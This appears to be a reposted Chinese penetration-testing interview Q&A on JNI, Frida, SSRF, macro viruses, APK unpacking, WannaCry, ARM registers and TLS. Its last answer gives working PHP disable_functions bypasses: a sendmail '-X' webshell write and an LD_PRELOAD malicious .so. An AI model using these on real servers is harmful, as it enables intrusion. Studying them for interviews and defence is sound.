当前位置: 首页 > news >正文

2025年渗透测试面试题总结-13(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

八十一、JNI 函数在 Java 中函数名为 com.didi.security.main ,C 中的函数名是什么样的?

八十二、Frida 和 Xposed 框架?

八十三、SSRF 利用方式?

八十四、宏病毒?

八十五、APP 加壳?

八十六、勒索软件 WannaCry 的特征?蠕虫、僵尸病毒

八十七、ARM32 位指令中,返回值和返回地址保存在哪个寄存器中?

八十八、HTTPS 握手过程中用到哪些技术?

八十九、Linux 中 PHP 环境,已知 disable_functions=exec,passthrupopen,proc_open,shell_exec,system,请写出两种有可能实现任意命令执行的方式?

方法一:利用 mail() 函数 + sendmail 命令注入

方法二:利用 LD_PRELOAD + 自定义共享库注入

 

八十一、 JNI 函数在 java 中函数名为 com.didi.security.main,C 中的函数名是什么样的?八十二、Frida 和 Xposed 框架?八十三、SSRF 利用方式?八十四、宏病毒?八十五、APP 加壳?八十六、勒索软件 Wanacry 的特征?蠕虫、僵尸病毒八十七、ARM32 位指令中,返回值和返回地址保存在哪个寄存器中?八十八、HTTPS 握手过程中用到哪些技术?八十九、Linux 中 PHP 环境,已知 disable_functions=exec,passthrupopen,proc_open,shell_exec,system,九十、请写出两种有可能实现任意命令执行的方式?

八十一、JNI 函数在 Java 中函数名为 com.didi.security.main ,C 中的函数名是什么样的?

Java 中通过 JNI 调用本地方法时,其对应的 C 函数名需要遵循 JNI 的命名规则。以 com.didi.security.main 为例,假设这是一个 native 方法,其 C 函数名为:

Java_com_didi_security_main_XXXX

其中:

  • Java_ 是固定前缀。
  • com_didi_security_main 是类名(com.didi.security.main )中将 . 替换为 _
  • XXXX 是方法名,例如 methodName,若方法有重载,则会附加参数签名。

示例: Java 方法定义:

javapublic native void test();

对应的 C 函数名:

cJNIEXPORT void JNICALL Java_com_didi_security_main_test(JNIEnv *env, jobject obj)

深层解读:

  • JNI 函数的命名规则确保类名和方法名在 C 层唯一映射,避免命名冲突。
  • 函数签名中还包含 JNIEnv*jobject(或 jclass)两个参数,用于与 JVM 交互。
  • Android 中可通过 javahjavac -h 生成头文件,自动生成函数原型。

八十二、Frida 和 Xposed 框架?

1. Frida 框架:

Frida 是一个动态插桩工具,支持多种平台(Android、iOS、Windows、Linux 等),通过注入 JavaScript 脚本实现对运行中进程的 Hook、内存读写、函数调用等操作。

特点:

  • 支持远程调试、Hook 函数、修改运行时行为。
  • 支持 Python 和 JavaScript API。
  • 可用于逆向工程、漏洞挖掘、动态调试、绕过反调试等。

2. Xposed 框架:

Xposed 是 Android 平台上的模块化 Hook 框架,通过修改 Zygote 初始化逻辑,使得模块可以在 App 启动前注入并 Hook 任意类和方法。

特点:

  • 仅支持 Android(需 Root 权限或 Magisk)。
  • 提供 XposedBridge 接口,开发者可编写模块 Hook 系统或 App 行为。
  • 常用于修改系统行为、去广告、功能增强、测试等。

对比总结:

特性FridaXposed
平台多平台(含 Android)仅 Android
是否需 Root否(但功能受限)
语言支持JS、PythonJava
Hook 粒度更灵活,支持函数级类级 Hook
调试能力强大(动态执行)静态 Hook 模块化

八十三、SSRF 利用方式?

SSRF(Server Side Request Forgery,服务端请求伪造)是指攻击者利用服务器发起请求,从而访问本应受保护的内网或其他资源。

常见利用方式:

  1. 探测内网资源:
    • 通过伪造请求访问本地服务(如 Redis、MySQL、MongoDB、FTP 等)。
    • 使用 file://dict://gopher:// 协议读取文件或执行命令。
  2. 攻击内网 Web 服务:
    • 访问管理接口(如 /admin)、内网后台服务(如 Jenkins、GitLab、Docker API)等。
  3. 读取本地文件:
    • 利用 file:///etc/passwd 等协议读取敏感配置文件。
  4. 发起端口扫描:
    • 通过不同端口返回的状态码判断是否存在开放服务。
  5. 利用 Gopher 协议执行命令:
    • 如攻击 FastCGI、Redis、Memcached 等服务,通过构造 Gopher 请求达到远程代码执行。
  6. 绕过访问控制:
    • 利用服务器作为跳板,访问被防火墙保护的资源。

防御建议:

  • 白名单限制请求域名或 IP。
  • 禁用不必要的协议(如 gopher、dict)。
  • 设置访问超时、限制重定向次数。
  • 对请求地址进行 URL 解析和校验。

八十四、宏病毒?

宏病毒是一种利用文档自动化脚本(如 Microsoft Office 的 VBA 宏)实现传播和攻击的恶意程序。

特征:

  • 通常嵌入在 .doc.xls.ppt 等旧格式文档中。
  • 利用 AutoOpen、Document_Open 等自动执行宏触发恶意行为。
  • 可下载远程载荷、窃取信息、加密文件、传播自身等。

传播方式:

  • 钓鱼邮件附件。
  • 社交工程诱导启用宏。
  • 漏洞利用(如 CVE-2017-0199)。

防御措施:

  • 禁用 Office 宏或设置为“通知但禁用”。
  • 更新系统和 Office 补丁。
  • 使用沙箱或虚拟机打开可疑文档。
  • 启用宏行为监控(EDR、SIEM)。

八十五、APP 加壳?

APP 加壳是一种保护 Android 应用程序代码的技术,通过将原始 APK 包裹在另一个“壳”中,运行时解密并加载原始代码,防止反编译和静态分析。

原理:

  1. 原始 APK 被加密或压缩。
  2. 加壳程序作为启动器,启动后解密原始 APK 到内存。
  3. 通过自定义 ClassLoader 加载原始 Dex 文件。
  4. 执行原始逻辑。

常见功能:

  • 防止反编译(DEX 文件加密)。
  • 反调试、反 Root、检测调试器。
  • 动态加载、混淆入口。
  • 插入广告、收集设备信息等。

脱壳方法:

  • 内存 dump(如使用 Frida、Xposed、DDMS)。
  • Hook 解密函数获取原始 Dex。
  • 修改加壳逻辑绕过检测。
  • 使用自动化脱壳工具(如 DroidBox、Unpacker)。

八十六、勒索软件 WannaCry 的特征?蠕虫、僵尸病毒

WannaCry 勒索病毒(2017)特征:

  1. 利用永恒之蓝漏洞(EternalBlue):
    • 利用 MS17-010 漏洞(SMB 协议缓冲区溢出)传播。
    • 不需用户交互即可远程执行代码。
  2. 蠕虫传播机制:
    • 自动扫描局域网和公网 IP,传播自身。
    • 具备自我复制、感染能力,属于蠕虫型病毒。
  3. 加密文件并勒索比特币:
    • 使用 AES+RSA 混合加密算法加密用户文件。
    • 显示勒索页面要求支付比特币赎金。
  4. 具备“开关域名”机制:
    • 病毒会尝试访问特定域名,如果能访问则不执行加密。
    • 该机制被安全研究人员发现并注册域名遏制传播。
  5. 僵尸网络功能:
    • 感染设备可被远程控制,成为僵尸节点,参与 DDoS 或其他攻击。

影响范围:

  • 感染全球超过 20 万台设备,影响医院、政府、企业等关键系统。

防御措施:

  • 安装 MS17-010 补丁。
  • 关闭不必要的 SMB 服务。
  • 定期备份重要数据。
  • 使用防病毒软件和入侵检测系统。

八十七、ARM32 位指令中,返回值和返回地址保存在哪个寄存器中?

在 ARM32 架构中,函数调用遵循 ATPCS(ARM Procedure Call Standard)的调用约定。

关键寄存器作用:

寄存器编号用途
R0-R3通用寄存器用于函数参数传递(最多4个)
R0-返回值寄存器(通常用于返回整数或指针)
R1-R3-剩余参数或作为临时寄存器
R4-R11通用寄存器用于保存函数内部变量,需调用者保存
R12IP临时寄存器,用于中间计算
R13SP堆栈指针
R14LR链接寄存器,保存返回地址
R15PC程序计数器

函数调用流程中的行为:

  • 调用函数时,PC 跳转到目标函数入口。
  • LR(R14)保存下一条指令地址(即返回地址)。
  • 被调用函数处理完成后,使用 BX LRMOV PC, LR 返回。

特别注意:

  • 如果函数嵌套调用,LR 需要压栈保存,防止覆盖。
  • 返回值通常保存在 R0 中,若为 64 位整数则使用 R0+R1。

八十八、HTTPS 握手过程中用到哪些技术?

HTTPS 握手过程主要依赖 TLS(Transport Layer Security)协议,分为以下几个阶段:

1. ClientHello:

  • 客户端发送支持的协议版本、加密套件、随机数(ClientRandom)等。

2. ServerHello:

  • 服务器选择协议版本、加密套件,并发送随机数(ServerRandom)和证书(含公钥)。

3. 证书验证:

  • 客户端验证服务器证书是否由可信 CA 签发,是否有效、是否匹配域名。

4. 密钥交换:

  • 根据加密套件选择密钥交换方式:
    • RSA 密钥交换: 客户端用服务器公钥加密预主密钥(Pre-Master Secret)。
    • ECDHE 密钥交换: 客户端和服务器生成临时密钥,进行 Diffie-Hellman 交换,实现前向保密。

5. 生成主密钥(Master Secret):

  • 双方使用 ClientRandom、ServerRandom 和 Pre-Master Secret 生成 Master Secret。

6. 会话密钥生成:

  • 从 Master Secret 推导出一系列密钥,包括:
    • 客户端加密密钥(ClientWriteKey)
    • 服务端加密密钥(ServerWriteKey)
    • 消息认证码密钥(MAC Key)

7. 客户端和服务端发送 Finished 消息:

  • 使用密钥加密握手消息摘要,验证握手过程的完整性。

使用技术总结:

  • 非对称加密(RSA、ECC):用于身份认证和密钥交换。
  • 对称加密(AES、ChaCha20):用于加密通信数据。
  • 消息认证码(HMAC):确保数据完整性。
  • Diffie-Hellman(DH、ECDH、DHE、ECDHE):实现安全的密钥交换。
  • 数字证书(X.509):用于服务器身份认证。
  • 前向保密(PFS):即使长期密钥泄露,也不会影响历史通信安全。

八十九、Linux 中 PHP 环境,已知 disable_functions=exec,passthrupopen,proc_open,shell_exec,system,请写出两种有可能实现任意命令执行的方式?

背景: 该配置禁用了大部分 PHP 命令执行函数,但仍可能通过其他方式绕过限制。


方法一:利用 mail() 函数 + sendmail 命令注入

原理: PHP 的 mail() 函数调用系统 sendmail 程序发送邮件,若参数可控,可以注入 shell 命令。

示例:

php$to = 'test@example.com'; $subject = 'test'; $message = 'test'; $headers = ''; $additional_params = "-oQ/tmp -X/var/www/cache/pwn.php"; mail($to, $subject, $message, $headers, $additional_params);

说明:

  • -X 参数可写入日志文件,控制文件内容。
  • 若可写 Web 目录,可写入 Webshell。

方法二:利用 LD_PRELOAD + 自定义共享库注入

前提条件:

  • 可上传文件。
  • 可利用 putenv()mail()error_log() 触发日志写入。

步骤:

  1. 编写恶意 .so 文件,导出 __attribute__((constructor)) 函数,实现命令执行。
  2. 上传 .so 到服务器。
  3. 设置环境变量 LD_PRELOAD 指向该 .so 文件。
  4. 触发函数调用,加载恶意库,执行命令。

示例 C 代码:

c#include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() { system("touch /tmp/exploit"); }

PHP 利用代码:

phpputenv("LD_PRELOAD=/var/www/html/evil.so"); mail("a@localhost", "test", "test", "", "-f");

说明:

  • 该方法依赖服务器配置允许 putenv()mail() 使用。
  • LD_PRELOAD 是 Linux 的动态链接库加载机制,可用于注入代码。

http://www.lryc.cn/news/617541.html

相关文章:

  • Python训练营打卡 DAY 33 MLP神经网络的训练
  • 首涂模板第45套主题2.0修正版苹果CMS模板奇艺主题二开源码
  • 【AxureMost落葵网】CRM客户关系管理原型系统-免费
  • MD5:理解MD5 / MD5核心特性 / MD5 在前端开发中的常见用途 / 在线生成MD5 / js-md5
  • 【Kafka系列】第三篇| 在哪些场景下会选择使用 Kafka?
  • 【车联网kafka】Kafka核心架构与实战经验(第三篇)
  • 钓鱼鱼饵制作的方式
  • Go 多进程编程-同步
  • 免费好用的数字人API
  • synchronized 、volatile 以及 ReentrantLockReentrantLock 的区别
  • monorepo架构设计方案
  • 小白入门指南:Edge SCDN 轻松上手
  • 【NOI】落谷2025/08/10 SCP-J 模拟测试 第10题 求构成三角形的概率
  • qss基础
  • Godot ------ 平滑拖动02
  • 机器学习第九课之DBSCAN算法
  • 智慧工地:以三大监测技术筑牢安全屏障
  • (Arxiv-2025)Phantom-Data:迈向通用的主体一致性视频生成数据集
  • Qwen 3 架构深度解析:混合推理、MoE创新与开源生态的全面突破
  • 工业智造新引擎:BRAV-7135赋能自动化产线升级
  • 第八篇:交互入门:鼠标拾取物体
  • 可视化+自动化:招聘管理看板软件的核心技术架构解析
  • 网络资源模板--基于Android Studio 实现的手绘板App
  • Docker部署MySQL完整指南:从入门到实践
  • Oracle主从incarnation不一致问题解决
  • 如何网络“钓鱼”,钓鱼鱼饵生成工具CobaltStrike使用
  • 云原生应用的DevOps2(Jenkins渗透场景)
  • 【从零开始java学习|第一篇】java中的名词概念(JDK、JVM、JRE等等)
  • JVM 运行时全景:从类加载到 GC 的底层原理与调优指南
  • 在Mac 上生成GitLab 的SSH 密钥并将其添加到GitLab